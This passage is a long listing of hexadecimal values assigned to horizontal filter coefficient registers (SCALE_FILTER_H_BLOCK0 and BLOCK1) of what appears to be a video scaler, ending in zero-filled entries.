scaler.SCALE_FILTER_H_BLOCK1[61].val = 0xffe0ffd9 scaler.SCALE_FILTER_H_BLOCK0[124].val = 0xffe7ffe7 scaler.SCALE_FILTER_H_BLOCK0[125].val = 0xffeeffee scaler.SCALE_FILTER_H_BLOCK1[62].val = 0xffeeffe7 scaler.SCALE_FILTER_H_BLOCK0[126].val = 0xfff4fff4 scaler.SCALE_FILTER_H_BLOCK0[127].val = 0xfffafffa scaler.SCALE_FILTER_H_BLOCK1[63].val = 0xfffafff4 scaler.SCALE_FILTER_H_BLOCK0[128].val = 0xff06ff06 scaler.SCALE_FILTER_H_BLOCK0[129].val = 0xff0cff0c scaler.SCALE_FILTER_H_BLOCK1[64].val = 0xff0cff06 scaler.SCALE_FILTER_H_BLOCK0[130].val = 0xff13ff13 scaler.SCALE_FILTER_H_BLOCK0[131].val = 0xff1aff1a scaler.SCALE_FILTER_H_BLOCK1[65].val = 0xff1aff13 scaler.SCALE_FILTER_H_BLOCK0[132].val = 0xff21ff21 scaler.SCALE_FILTER_H_BLOCK0[133].val = 0xff28ff28 scaler.SCALE_FILTER_H_BLOCK1[66].val = 0xff28ff21 scaler.SCALE_FILTER_H_BLOCK0[134].val = 0xff30ff30 scaler.SCALE_FILTER_H_BLOCK0[135].val = 0xff38ff38 scaler.SCALE_FILTER_H_BLOCK1[67].val = 0xff38ff30 scaler.SCALE_FILTER_H_BLOCK0[136].val = 0xff41ff41 scaler.SCALE_FILTER_H_BLOCK0[137].val = 0xff49ff49 scaler.SCALE_FILTER_H_BLOCK1[68].val = 0xff49ff41 scaler.SCALE_FILTER_H_BLOCK0[138].val = 0xff52ff52 scaler.SCALE_FILTER_H_BLOCK0[139].val = 0xff5bff5b scaler.SCALE_FILTER_H_BLOCK1[69].val = 0xff5bff52 scaler.SCALE_FILTER_H_BLOCK0[140].val = 0xff63ff63 scaler.SCALE_FILTER_H_BLOCK0[141].val = 0xff6cff6c scaler.SCALE_FILTER_H_BLOCK1[70].val = 0xff6cff63 scaler.SCALE_FILTER_H_BLOCK0[142].val = 0xff75ff75 scaler.SCALE_FILTER_H_BLOCK0[143].val = 0xff7eff7e scaler.SCALE_FILTER_H_BLOCK1[71].val = 0xff7eff75 scaler.SCALE_FILTER_H_BLOCK0[144].val = 0xff02ff02 scaler.SCALE_FILTER_H_BLOCK0[145].val = 0xfefcfefc scaler.SCALE_FILTER_H_BLOCK1[72].val = 0xfefcff02 scaler.SCALE_FILTER_H_BLOCK0[146].val = 0xfef7fef7 scaler.SCALE_FILTER_H_BLOCK0[147].val = 0xfef3fef3 scaler.SCALE_FILTER_H_BLOCK1[73].val = 0xfef3fef7 scaler.SCALE_FILTER_H_BLOCK0[148].val = 0xfeeffeef scaler.SCALE_FILTER_H_BLOCK0[149].val = 0xfeedfeed scaler.SCALE_FILTER_H_BLOCK1[74].val = 0xfeedfeef scaler.SCALE_FILTER_H_BLOCK0[150].val = 0xfeecfeec scaler.SCALE_FILTER_H_BLOCK0[151].val = 0xfeebfeeb scaler.SCALE_FILTER_H_BLOCK1[75].val = 0xfeebfeec scaler.SCALE_FILTER_H_BLOCK0[152].val = 0xfeebfeeb scaler.SCALE_FILTER_H_BLOCK0[153].val = 0xfeecfeec scaler.SCALE_FILTER_H_BLOCK1[76].val = 0xfeecfeeb scaler.SCALE_FILTER_H_BLOCK0[154].val = 0xfeeefeee scaler.SCALE_FILTER_H_BLOCK0[155].val = 0xfef1fef1 scaler.SCALE_FILTER_H_BLOCK1[77].val = 0xfef1feee scaler.SCALE_FILTER_H_BLOCK0[156].val = 0xfef4fef4 scaler.SCALE_FILTER_H_BLOCK0[157].val = 0xfef8fef8 scaler.SCALE_FILTER_H_BLOCK1[78].val = 0xfef8fef4 scaler.SCALE_FILTER_H_BLOCK0[158].val = 0xfefcfefc scaler.SCALE_FILTER_H_BLOCK0[159].val = 0xff01ff01 scaler.SCALE_FILTER_H_BLOCK1[79].val = 0xff01fefc scaler.SCALE_FILTER_H_BLOCK0[160].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[161].val = 0xffe7ffe7 scaler.SCALE_FILTER_H_BLOCK1[80].val = 0xffe70000 scaler.SCALE_FILTER_H_BLOCK0[162].val = 0xffcfffcf scaler.SCALE_FILTER_H_BLOCK0[163].val = 0xffb9ffb9 scaler.SCALE_FILTER_H_BLOCK1[81].val = 0xffb9ffcf scaler.SCALE_FILTER_H_BLOCK0[164].val = 0xffa4ffa4 scaler.SCALE_FILTER_H_BLOCK0[165].val = 0xff90ff90 scaler.SCALE_FILTER_H_BLOCK1[82].val = 0xff90ffa4 scaler.SCALE_FILTER_H_BLOCK0[166].val = 0xff7dff7d scaler.SCALE_FILTER_H_BLOCK0[167].val = 0xff6bff6b scaler.SCALE_FILTER_H_BLOCK1[83].val = 0xff6bff7d scaler.SCALE_FILTER_H_BLOCK0[168].val = 0xff5bff5b scaler.SCALE_FILTER_H_BLOCK0[169].val = 0xff4cff4c scaler.SCALE_FILTER_H_BLOCK1[84].val = 0xff4cff5b scaler.SCALE_FILTER_H_BLOCK0[170].val = 0xff3eff3e scaler.SCALE_FILTER_H_BLOCK0[171].val = 0xff31ff31 scaler.SCALE_FILTER_H_BLOCK1[85].val = 0xff31ff3e scaler.SCALE_FILTER_H_BLOCK0[172].val = 0xff26ff26 scaler.SCALE_FILTER_H_BLOCK0[173].val = 0xff1bff1b scaler.SCALE_FILTER_H_BLOCK1[86].val = 0xff1bff26 scaler.SCALE_FILTER_H_BLOCK0[174].val = 0xff12ff12 scaler.SCALE_FILTER_H_BLOCK0[175].val = 0xff0aff0a scaler.SCALE_FILTER_H_BLOCK1[87].val = 0xff0aff12 scaler.SCALE_FILTER_H_BLOCK0[176].val = 0x2210221 scaler.SCALE_FILTER_H_BLOCK0[177].val = 0x1f901f9 scaler.SCALE_FILTER_H_BLOCK1[88].val = 0x1f90221 scaler.SCALE_FILTER_H_BLOCK0[178].val = 0x1d001d0 scaler.SCALE_FILTER_H_BLOCK0[179].val = 0x1a901a9 scaler.SCALE_FILTER_H_BLOCK1[89].val = 0x1a901d0 scaler.SCALE_FILTER_H_BLOCK0[180].val = 0x1820182 scaler.SCALE_FILTER_H_BLOCK0[181].val = 0x15d015d scaler.SCALE_FILTER_H_BLOCK1[90].val = 0x15d0182 scaler.SCALE_FILTER_H_BLOCK0[182].val = 0x1380138 scaler.SCALE_FILTER_H_BLOCK0[183].val = 0x1140114 scaler.SCALE_FILTER_H_BLOCK1[91].val = 0x1140138 scaler.SCALE_FILTER_H_BLOCK0[184].val = 0xf100f1 scaler.SCALE_FILTER_H_BLOCK0[185].val = 0xcf00cf scaler.SCALE_FILTER_H_BLOCK1[92].val = 0xcf00f1 scaler.SCALE_FILTER_H_BLOCK0[186].val = 0xae00ae scaler.SCALE_FILTER_H_BLOCK0[187].val = 0x8e008e scaler.SCALE_FILTER_H_BLOCK1[93].val = 0x8e00ae scaler.SCALE_FILTER_H_BLOCK0[188].val = 0x6f006f scaler.SCALE_FILTER_H_BLOCK0[189].val = 0x520052 scaler.SCALE_FILTER_H_BLOCK1[94].val = 0x52006f scaler.SCALE_FILTER_H_BLOCK0[190].val = 0x350035 scaler.SCALE_FILTER_H_BLOCK0[191].val = 0x1a001a scaler.SCALE_FILTER_H_BLOCK1[95].val = 0x1a0035 scaler.SCALE_FILTER_H_BLOCK0[192].val = 0x4e404e4 scaler.SCALE_FILTER_H_BLOCK0[193].val = 0x4b804b8 scaler.SCALE_FILTER_H_BLOCK1[96].val = 0x4b804e4 scaler.SCALE_FILTER_H_BLOCK0[194].val = 0x48b048b scaler.SCALE_FILTER_H_BLOCK0[195].val = 0x45f045f scaler.SCALE_FILTER_H_BLOCK1[97].val = 0x45f048b scaler.SCALE_FILTER_H_BLOCK0[196].val = 0x4320432 scaler.SCALE_FILTER_H_BLOCK0[197].val = 0x4050405 scaler.SCALE_FILTER_H_BLOCK1[98].val = 0x4050432 scaler.SCALE_FILTER_H_BLOCK0[198].val = 0x3d803d8 scaler.SCALE_FILTER_H_BLOCK0[199].val = 0x3ab03ab scaler.SCALE_FILTER_H_BLOCK1[99].val = 0x3ab03d8 scaler.SCALE_FILTER_H_BLOCK0[200].val = 0x37e037e scaler.SCALE_FILTER_H_BLOCK0[201].val = 0x3510351 scaler.SCALE_FILTER_H_BLOCK1[100].val = 0x351037e scaler.SCALE_FILTER_H_BLOCK0[202].val = 0x3240324 scaler.SCALE_FILTER_H_BLOCK0[203].val = 0x2f802f8 scaler.SCALE_FILTER_H_BLOCK1[101].val = 0x2f80324 scaler.SCALE_FILTER_H_BLOCK0[204].val = 0x2cc02cc scaler.SCALE_FILTER_H_BLOCK0[205].val = 0x2a102a1 scaler.SCALE_FILTER_H_BLOCK1[102].val = 0x2a102cc scaler.SCALE_FILTER_H_BLOCK0[206].val = 0x2760276 scaler.SCALE_FILTER_H_BLOCK0[207].val = 0x24b024b scaler.SCALE_FILTER_H_BLOCK1[103].val = 0x24b0276 scaler.SCALE_FILTER_H_BLOCK0[208].val = 0x73b073b scaler.SCALE_FILTER_H_BLOCK0[209].val = 0x71e071e scaler.SCALE_FILTER_H_BLOCK1[104].val = 0x71e073b scaler.SCALE_FILTER_H_BLOCK0[210].val = 0x7000700 scaler.SCALE_FILTER_H_BLOCK0[211].val = 0x6e106e1 scaler.SCALE_FILTER_H_BLOCK1[105].val = 0x6e10700 scaler.SCALE_FILTER_H_BLOCK0[212].val = 0x6c006c0 scaler.SCALE_FILTER_H_BLOCK0[213].val = 0x69e069e scaler.SCALE_FILTER_H_BLOCK1[106].val = 0x69e06c0 scaler.SCALE_FILTER_H_BLOCK0[214].val = 0x67a067a scaler.SCALE_FILTER_H_BLOCK0[215].val = 0x6560656 scaler.SCALE_FILTER_H_BLOCK1[107].val = 0x656067a scaler.SCALE_FILTER_H_BLOCK0[216].val = 0x6300630 scaler.SCALE_FILTER_H_BLOCK0[217].val = 0x6090609 scaler.SCALE_FILTER_H_BLOCK1[108].val = 0x6090630 scaler.SCALE_FILTER_H_BLOCK0[218].val = 0x5e205e2 scaler.SCALE_FILTER_H_BLOCK0[219].val = 0x5b905b9 scaler.SCALE_FILTER_H_BLOCK1[109].val = 0x5b905e2 scaler.SCALE_FILTER_H_BLOCK0[220].val = 0x5900590 scaler.SCALE_FILTER_H_BLOCK0[221].val = 0x5660566 scaler.SCALE_FILTER_H_BLOCK1[110].val = 0x5660590 scaler.SCALE_FILTER_H_BLOCK0[222].val = 0x53b053b scaler.SCALE_FILTER_H_BLOCK0[223].val = 0x5100510 scaler.SCALE_FILTER_H_BLOCK1[111].val = 0x510053b scaler.SCALE_FILTER_H_BLOCK0[224].val = 0x82c082c scaler.SCALE_FILTER_H_BLOCK0[225].val = 0x82b082b scaler.SCALE_FILTER_H_BLOCK1[112].val = 0x82b082c scaler.SCALE_FILTER_H_BLOCK0[226].val = 0x8280828 scaler.SCALE_FILTER_H_BLOCK0[227].val = 0x8200820 scaler.SCALE_FILTER_H_BLOCK1[113].val = 0x8200828 scaler.SCALE_FILTER_H_BLOCK0[228].val = 0x81b081b scaler.SCALE_FILTER_H_BLOCK0[229].val = 0x8130813 scaler.SCALE_FILTER_H_BLOCK1[114].val = 0x813081b scaler.SCALE_FILTER_H_BLOCK0[230].val = 0x8080808 scaler.SCALE_FILTER_H_BLOCK0[231].val = 0x7fc07fc scaler.SCALE_FILTER_H_BLOCK1[115].val = 0x7fc0808 scaler.SCALE_FILTER_H_BLOCK0[232].val = 0x7ed07ed scaler.SCALE_FILTER_H_BLOCK0[233].val = 0x7dd07dd scaler.SCALE_FILTER_H_BLOCK1[116].val = 0x7dd07ed scaler.SCALE_FILTER_H_BLOCK0[234].val = 0x7cb07cb scaler.SCALE_FILTER_H_BLOCK0[235].val = 0x7b607b6 scaler.SCALE_FILTER_H_BLOCK1[117].val = 0x7b607cb scaler.SCALE_FILTER_H_BLOCK0[236].val = 0x7a207a2 scaler.SCALE_FILTER_H_BLOCK0[237].val = 0x78a078a scaler.SCALE_FILTER_H_BLOCK1[118].val = 0x78a07a2 scaler.SCALE_FILTER_H_BLOCK0[238].val = 0x7710771 scaler.SCALE_FILTER_H_BLOCK0[239].val = 0x7570757 scaler.SCALE_FILTER_H_BLOCK1[119].val = 0x7570771 scaler.SCALE_FILTER_H_BLOCK0[240].val = 0x73d073d scaler.SCALE_FILTER_H_BLOCK0[241].val = 0x7570757 scaler.SCALE_FILTER_H_BLOCK1[120].val = 0x757073d scaler.SCALE_FILTER_H_BLOCK0[242].val = 0x7710771 scaler.SCALE_FILTER_H_BLOCK0[243].val = 0x78a078a scaler.SCALE_FILTER_H_BLOCK1[121].val = 0x78a0771 scaler.SCALE_FILTER_H_BLOCK0[244].val = 0x7a207a2 scaler.SCALE_FILTER_H_BLOCK0[245].val = 0x7b607b6 scaler.SCALE_FILTER_H_BLOCK1[122].val = 0x7b607a2 scaler.SCALE_FILTER_H_BLOCK0[246].val = 0x7cb07cb scaler.SCALE_FILTER_H_BLOCK0[247].val = 0x7dd07dd scaler.SCALE_FILTER_H_BLOCK1[123].val = 0x7dd07cb scaler.SCALE_FILTER_H_BLOCK0[248].val = 0x7ed07ed scaler.SCALE_FILTER_H_BLOCK0[249].val = 0x7fc07fc scaler.SCALE_FILTER_H_BLOCK1[124].val = 0x7fc07ed scaler.SCALE_FILTER_H_BLOCK0[250].val = 0x8080808 scaler.SCALE_FILTER_H_BLOCK0[251].val = 0x8130813 scaler.SCALE_FILTER_H_BLOCK1[125].val = 0x8130808 scaler.SCALE_FILTER_H_BLOCK0[252].val = 0x81b081b scaler.SCALE_FILTER_H_BLOCK0[253].val = 0x8200820 scaler.SCALE_FILTER_H_BLOCK1[126].val = 0x820081b scaler.SCALE_FILTER_H_BLOCK0[254].val = 0x8280828 scaler.SCALE_FILTER_H_BLOCK0[255].val = 0x82b082b scaler.SCALE_FILTER_H_BLOCK1[127].val = 0x82b0828 scaler.SCALE_FILTER_H_BLOCK0[256].val = 0x4e404e4 scaler.SCALE_FILTER_H_BLOCK0[257].val = 0x5100510 scaler.SCALE_FILTER_H_BLOCK1[128].val = 0x51004e4 scaler.SCALE_FILTER_H_BLOCK0[258].val = 0x53b053b scaler.SCALE_FILTER_H_BLOCK0[259].val = 0x5660566 scaler.SCALE_FILTER_H_BLOCK1[129].val = 0x566053b scaler.SCALE_FILTER_H_BLOCK0[260].val = 0x5900590 scaler.SCALE_FILTER_H_BLOCK0[261].val = 0x5b905b9 scaler.SCALE_FILTER_H_BLOCK1[130].val = 0x5b90590 scaler.SCALE_FILTER_H_BLOCK0[262].val = 0x5e205e2 scaler.SCALE_FILTER_H_BLOCK0[263].val = 0x6090609 scaler.SCALE_FILTER_H_BLOCK1[131].val = 0x60905e2 scaler.SCALE_FILTER_H_BLOCK0[264].val = 0x6300630 scaler.SCALE_FILTER_H_BLOCK0[265].val = 0x6560656 scaler.SCALE_FILTER_H_BLOCK1[132].val = 0x6560630 scaler.SCALE_FILTER_H_BLOCK0[266].val = 0x67a067a scaler.SCALE_FILTER_H_BLOCK0[267].val = 0x69e069e scaler.SCALE_FILTER_H_BLOCK1[133].val = 0x69e067a scaler.SCALE_FILTER_H_BLOCK0[268].val = 0x6c006c0 scaler.SCALE_FILTER_H_BLOCK0[269].val = 0x6e106e1 scaler.SCALE_FILTER_H_BLOCK1[134].val = 0x6e106c0 scaler.SCALE_FILTER_H_BLOCK0[270].val = 0x7000700 scaler.SCALE_FILTER_H_BLOCK0[271].val = 0x71e071e scaler.SCALE_FILTER_H_BLOCK1[135].val = 0x71e0700 scaler.SCALE_FILTER_H_BLOCK0[272].val = 0x2210221 scaler.SCALE_FILTER_H_BLOCK0[273].val = 0x24b024b scaler.SCALE_FILTER_H_BLOCK1[136].val = 0x24b0221 scaler.SCALE_FILTER_H_BLOCK0[274].val = 0x2760276 scaler.SCALE_FILTER_H_BLOCK0[275].val = 0x2a102a1 scaler.SCALE_FILTER_H_BLOCK1[137].val = 0x2a10276 scaler.SCALE_FILTER_H_BLOCK0[276].val = 0x2cc02cc scaler.SCALE_FILTER_H_BLOCK0[277].val = 0x2f802f8 scaler.SCALE_FILTER_H_BLOCK1[138].val = 0x2f802cc scaler.SCALE_FILTER_H_BLOCK0[278].val = 0x3240324 scaler.SCALE_FILTER_H_BLOCK0[279].val = 0x3510351 scaler.SCALE_FILTER_H_BLOCK1[139].val = 0x3510324 scaler.SCALE_FILTER_H_BLOCK0[280].val = 0x37e037e scaler.SCALE_FILTER_H_BLOCK0[281].val = 0x3ab03ab scaler.SCALE_FILTER_H_BLOCK1[140].val = 0x3ab037e scaler.SCALE_FILTER_H_BLOCK0[282].val = 0x3d803d8 scaler.SCALE_FILTER_H_BLOCK0[283].val = 0x4050405 scaler.SCALE_FILTER_H_BLOCK1[141].val = 0x40503d8 scaler.SCALE_FILTER_H_BLOCK0[284].val = 0x4320432 scaler.SCALE_FILTER_H_BLOCK0[285].val = 0x45f045f scaler.SCALE_FILTER_H_BLOCK1[142].val = 0x45f0432 scaler.SCALE_FILTER_H_BLOCK0[286].val = 0x48b048b scaler.SCALE_FILTER_H_BLOCK0[287].val = 0x4b804b8 scaler.SCALE_FILTER_H_BLOCK1[143].val = 0x4b8048b scaler.SCALE_FILTER_H_BLOCK0[288].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[289].val = 0x1a001a scaler.SCALE_FILTER_H_BLOCK1[144].val = 0x1a0000 scaler.SCALE_FILTER_H_BLOCK0[290].val = 0x350035 scaler.SCALE_FILTER_H_BLOCK0[291].val = 0x520052 scaler.SCALE_FILTER_H_BLOCK1[145].val = 0x520035 scaler.SCALE_FILTER_H_BLOCK0[292].val = 0x6f006f scaler.SCALE_FILTER_H_BLOCK0[293].val = 0x8e008e scaler.SCALE_FILTER_H_BLOCK1[146].val = 0x8e006f scaler.SCALE_FILTER_H_BLOCK0[294].val = 0xae00ae scaler.SCALE_FILTER_H_BLOCK0[295].val = 0xcf00cf scaler.SCALE_FILTER_H_BLOCK1[147].val = 0xcf00ae scaler.SCALE_FILTER_H_BLOCK0[296].val = 0xf100f1 scaler.SCALE_FILTER_H_BLOCK0[297].val = 0x1140114 scaler.SCALE_FILTER_H_BLOCK1[148].val = 0x11400f1 scaler.SCALE_FILTER_H_BLOCK0[298].val = 0x1380138 scaler.SCALE_FILTER_H_BLOCK0[299].val = 0x15d015d scaler.SCALE_FILTER_H_BLOCK1[149].val = 0x15d0138 scaler.SCALE_FILTER_H_BLOCK0[300].val = 0x1820182 scaler.SCALE_FILTER_H_BLOCK0[301].val = 0x1a901a9 scaler.SCALE_FILTER_H_BLOCK1[150].val = 0x1a90182 scaler.SCALE_FILTER_H_BLOCK0[302].val = 0x1d001d0 scaler.SCALE_FILTER_H_BLOCK0[303].val = 0x1f901f9 scaler.SCALE_FILTER_H_BLOCK1[151].val = 0x1f901d0 scaler.SCALE_FILTER_H_BLOCK0[304].val = 0xff02ff02 scaler.SCALE_FILTER_H_BLOCK0[305].val = 0xff0aff0a scaler.SCALE_FILTER_H_BLOCK1[152].val = 0xff0aff02 scaler.SCALE_FILTER_H_BLOCK0[306].val = 0xff12ff12 scaler.SCALE_FILTER_H_BLOCK0[307].val = 0xff1bff1b scaler.SCALE_FILTER_H_BLOCK1[153].val = 0xff1bff12 scaler.SCALE_FILTER_H_BLOCK0[308].val = 0xff26ff26 scaler.SCALE_FILTER_H_BLOCK0[309].val = 0xff31ff31 scaler.SCALE_FILTER_H_BLOCK1[154].val = 0xff31ff26 scaler.SCALE_FILTER_H_BLOCK0[310].val = 0xff3eff3e scaler.SCALE_FILTER_H_BLOCK0[311].val = 0xff4cff4c scaler.SCALE_FILTER_H_BLOCK1[155].val = 0xff4cff3e scaler.SCALE_FILTER_H_BLOCK0[312].val = 0xff5bff5b scaler.SCALE_FILTER_H_BLOCK0[313].val = 0xff6bff6b scaler.SCALE_FILTER_H_BLOCK1[156].val = 0xff6bff5b scaler.SCALE_FILTER_H_BLOCK0[314].val = 0xff7dff7d scaler.SCALE_FILTER_H_BLOCK0[315].val = 0xff90ff90 scaler.SCALE_FILTER_H_BLOCK1[157].val = 0xff90ff7d scaler.SCALE_FILTER_H_BLOCK0[316].val = 0xffa4ffa4 scaler.SCALE_FILTER_H_BLOCK0[317].val = 0xffb9ffb9 scaler.SCALE_FILTER_H_BLOCK1[158].val = 0xffb9ffa4 scaler.SCALE_FILTER_H_BLOCK0[318].val = 0xffcfffcf scaler.SCALE_FILTER_H_BLOCK0[319].val = 0xffe7ffe7 scaler.SCALE_FILTER_H_BLOCK1[159].val = 0xffe7ffcf scaler.SCALE_FILTER_H_BLOCK0[320].val = 0xff06ff06 scaler.SCALE_FILTER_H_BLOCK0[321].val = 0xff01ff01 scaler.SCALE_FILTER_H_BLOCK1[160].val = 0xff01ff06 scaler.SCALE_FILTER_H_BLOCK0[322].val = 0xfefcfefc scaler.SCALE_FILTER_H_BLOCK0[323].val = 0xfef8fef8 scaler.SCALE_FILTER_H_BLOCK1[161].val = 0xfef8fefc scaler.SCALE_FILTER_H_BLOCK0[324].val = 0xfef4fef4 scaler.SCALE_FILTER_H_BLOCK0[325].val = 0xfef1fef1 scaler.SCALE_FILTER_H_BLOCK1[162].val = 0xfef1fef4 scaler.SCALE_FILTER_H_BLOCK0[326].val = 0xfeeefeee scaler.SCALE_FILTER_H_BLOCK0[327].val = 0xfeecfeec scaler.SCALE_FILTER_H_BLOCK1[163].val = 0xfeecfeee scaler.SCALE_FILTER_H_BLOCK0[328].val = 0xfeebfeeb scaler.SCALE_FILTER_H_BLOCK0[329].val = 0xfeebfeeb scaler.SCALE_FILTER_H_BLOCK1[164].val = 0xfeebfeeb scaler.SCALE_FILTER_H_BLOCK0[330].val = 0xfeecfeec scaler.SCALE_FILTER_H_BLOCK0[331].val = 0xfeedfeed scaler.SCALE_FILTER_H_BLOCK1[165].val = 0xfeedfeec scaler.SCALE_FILTER_H_BLOCK0[332].val = 0xfeeffeef scaler.SCALE_FILTER_H_BLOCK0[333].val = 0xfef3fef3 scaler.SCALE_FILTER_H_BLOCK1[166].val = 0xfef3feef scaler.SCALE_FILTER_H_BLOCK0[334].val = 0xfef7fef7 scaler.SCALE_FILTER_H_BLOCK0[335].val = 0xfefcfefc scaler.SCALE_FILTER_H_BLOCK1[167].val = 0xfefcfef7 scaler.SCALE_FILTER_H_BLOCK0[336].val = 0xff87ff87 scaler.SCALE_FILTER_H_BLOCK0[337].val = 0xff7eff7e scaler.SCALE_FILTER_H_BLOCK1[168].val = 0xff7eff87 scaler.SCALE_FILTER_H_BLOCK0[338].val = 0xff75ff75 scaler.SCALE_FILTER_H_BLOCK0[339].val = 0xff6cff6c scaler.SCALE_FILTER_H_BLOCK1[169].val = 0xff6cff75 scaler.SCALE_FILTER_H_BLOCK0[340].val = 0xff63ff63 scaler.SCALE_FILTER_H_BLOCK0[341].val = 0xff5bff5b scaler.SCALE_FILTER_H_BLOCK1[170].val = 0xff5bff63 scaler.SCALE_FILTER_H_BLOCK0[342].val = 0xff52ff52 scaler.SCALE_FILTER_H_BLOCK0[343].val = 0xff49ff49 scaler.SCALE_FILTER_H_BLOCK1[171].val = 0xff49ff52 scaler.SCALE_FILTER_H_BLOCK0[344].val = 0xff41ff41 scaler.SCALE_FILTER_H_BLOCK0[345].val = 0xff38ff38 scaler.SCALE_FILTER_H_BLOCK1[172].val = 0xff38ff41 scaler.SCALE_FILTER_H_BLOCK0[346].val = 0xff30ff30 scaler.SCALE_FILTER_H_BLOCK0[347].val = 0xff28ff28 scaler.SCALE_FILTER_H_BLOCK1[173].val = 0xff28ff30 scaler.SCALE_FILTER_H_BLOCK0[348].val = 0xff21ff21 scaler.SCALE_FILTER_H_BLOCK0[349].val = 0xff1aff1a scaler.SCALE_FILTER_H_BLOCK1[174].val = 0xff1aff21 scaler.SCALE_FILTER_H_BLOCK0[350].val = 0xff13ff13 scaler.SCALE_FILTER_H_BLOCK0[351].val = 0xff0cff0c scaler.SCALE_FILTER_H_BLOCK1[175].val = 0xff0cff13 scaler.SCALE_FILTER_H_BLOCK0[352].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[353].val = 0xfffafffa scaler.SCALE_FILTER_H_BLOCK1[176].val = 0xfffa0000 scaler.SCALE_FILTER_H_BLOCK0[354].val = 0xfff4fff4 scaler.SCALE_FILTER_H_BLOCK0[355].val = 0xffeeffee scaler.SCALE_FILTER_H_BLOCK1[177].val = 0xffeefff4 scaler.SCALE_FILTER_H_BLOCK0[356].val = 0xffe7ffe7 scaler.SCALE_FILTER_H_BLOCK0[357].val = 0xffe0ffe0 scaler.SCALE_FILTER_H_BLOCK1[178].val = 0xffe0ffe7 scaler.SCALE_FILTER_H_BLOCK0[358].val = 0xffd9ffd9 scaler.SCALE_FILTER_H_BLOCK0[359].val = 0xffd2ffd2 scaler.SCALE_FILTER_H_BLOCK1[179].val = 0xffd2ffd9 scaler.SCALE_FILTER_H_BLOCK0[360].val = 0xffcaffca scaler.SCALE_FILTER_H_BLOCK0[361].val = 0xffc2ffc2 scaler.SCALE_FILTER_H_BLOCK1[180].val = 0xffc2ffca scaler.SCALE_FILTER_H_BLOCK0[362].val = 0xffbaffba scaler.SCALE_FILTER_H_BLOCK0[363].val = 0xffb2ffb2 scaler.SCALE_FILTER_H_BLOCK1[181].val = 0xffb2ffba scaler.SCALE_FILTER_H_BLOCK0[364].val = 0xffaaffaa scaler.SCALE_FILTER_H_BLOCK0[365].val = 0xffa1ffa1 scaler.SCALE_FILTER_H_BLOCK1[182].val = 0xffa1ffaa scaler.SCALE_FILTER_H_BLOCK0[366].val = 0xff99ff99 scaler.SCALE_FILTER_H_BLOCK0[367].val = 0xff90ff90 scaler.SCALE_FILTER_H_BLOCK1[183].val = 0xff90ff99 scaler.SCALE_FILTER_H_BLOCK0[368].val = 0x340034 scaler.SCALE_FILTER_H_BLOCK0[369].val = 0x330033 scaler.SCALE_FILTER_H_BLOCK1[184].val = 0x330034 scaler.SCALE_FILTER_H_BLOCK0[370].val = 0x320032 scaler.SCALE_FILTER_H_BLOCK0[371].val = 0x300030 scaler.SCALE_FILTER_H_BLOCK1[185].val = 0x300032 scaler.SCALE_FILTER_H_BLOCK0[372].val = 0x2e002e scaler.SCALE_FILTER_H_BLOCK0[373].val = 0x2c002c scaler.SCALE_FILTER_H_BLOCK1[186].val = 0x2c002e scaler.SCALE_FILTER_H_BLOCK0[374].val = 0x290029 scaler.SCALE_FILTER_H_BLOCK0[375].val = 0x260026 scaler.SCALE_FILTER_H_BLOCK1[187].val = 0x260029 scaler.SCALE_FILTER_H_BLOCK0[376].val = 0x230023 scaler.SCALE_FILTER_H_BLOCK0[377].val = 0x200020 scaler.SCALE_FILTER_H_BLOCK1[188].val = 0x200023 scaler.SCALE_FILTER_H_BLOCK0[378].val = 0x1c001c scaler.SCALE_FILTER_H_BLOCK0[379].val = 0x180018 scaler.SCALE_FILTER_H_BLOCK1[189].val = 0x18001c scaler.SCALE_FILTER_H_BLOCK0[380].val = 0x140014 scaler.SCALE_FILTER_H_BLOCK0[381].val = 0x100010 scaler.SCALE_FILTER_H_BLOCK1[190].val = 0x100014 scaler.SCALE_FILTER_H_BLOCK0[382].val = 0xb000b scaler.SCALE_FILTER_H_BLOCK0[383].val = 0x50005 scaler.SCALE_FILTER_H_BLOCK1[191].val = 0x5000b scaler.SCALE_FILTER_H_BLOCK0[384].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[385].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[192].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[386].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[387].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[193].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[388].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[389].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[194].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[390].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[391].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[195].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[392].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[393].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[196].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[394].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[395].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[197].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[396].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[397].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[198].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[398].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[399].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[199].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[400].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[401].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[200].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[402].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[403].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[201].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[404].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[405].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[202].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[406].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[407].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[203].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[408].val = 0x0 